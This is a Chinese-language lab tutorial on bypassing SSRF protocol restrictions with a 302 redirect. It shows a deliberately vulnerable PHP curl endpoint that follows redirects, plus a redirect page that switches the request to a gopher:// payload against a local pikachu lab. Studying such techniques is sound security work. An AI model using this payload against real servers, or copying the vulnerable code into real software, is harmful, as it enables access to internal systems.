SSRF10 各种限制绕过之30x跳转绕过协议限制
ssrf漏洞在厂商的处理下可能进行一些特殊处理导致我们无法直接利用漏洞
有以下四种:
1.ip地址限制绕过
2.域名限制绕过
3.30x跳转绕过域名限制
4.DNS rebinding绕过内网ip限制
本章我们讲30x跳转绕过域名限制
30x跳转绕过域名限制
之前我们使用ssrf漏洞时可以利用各种协议进行访问,如file,gopher等等,如果厂商限制我们
只能使用http协议我们怎么进行绕过
我们可以利用30x跳转绕过域名限制
原理如下图所示:
用户请求 -> 服务器 -> 目标
服务器 <- 返回重定向到 NewTarget
服务器 -> NewTarget
SSRF 的本质就是服务器访问了目标,如果目标返回一个重定向,此时服务器如果支持跟随重
定向则再次访问新的目标,服务器在创建请求时可以设置是否跟随重定向,下面通过 php 代码演
示。
<?php
$ch=curl_init(); // 初始化一个 cURL 对象
$url=$_GET['url']; // 从 GET 请求中获取 URL 参数
curl_setopt($ch,CURLOPT_URL,$url); // 设置要访问的 URL
curl_setopt($ch,CURLOPT_HEADER,0); // 设置是否包含头部信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); // 设置是否返回输出,不直接输出到页面
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); // 设置是否跟随跳转
$res=curl_exec($ch); // 执行 cURL 请求并获取返回结果
var_dump(curl_error($ch) ); // 打印 cURL 错误信息(如果有)
curl_close($ch); // 关闭 cURL 资源
echo $res; // 输出返回的结果
?>
那么我们就设置完成靶场跟随重定向。
下面我们创建一个302跳转平台:
kali 创建 302 跳转页面,通过 Location 返回 302 跳转,跳转使用 gopher 协议。
<?php
header("Location:gopher://192.168.112.12:80/_GET%20/pikachu-master/vul/ssrf/ssrf_info/info1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A");
?>
自己注意一下拼写不要直接复制粘贴。
我们去靶场尝试:
我们打开靶场:
url:http://192.168.112.12/ssrf.php
我们构造url:http://192.168.112.12/ssrf.php?url=http://192.168.112.12/302.php
可以看到 ssrf.php 访问 302.php 成功根据 Location 加载 gopher 协议访问 info1.php,这使
得ssrf.php 如果对 url 参数采取白名单限制仅 HTTP 协议是无效的,到此我们就完成了绕过。
302 跳转也可以通过短连接平台实现跳转,这里不对短连接平台进行测试,个别短连接平台会
对目标进行检测,选择哪个短连接平台亦或者自建平台自行测试。
注意:能否使用30x跳转技巧,取决于服务器功能点是否启用跟随跳转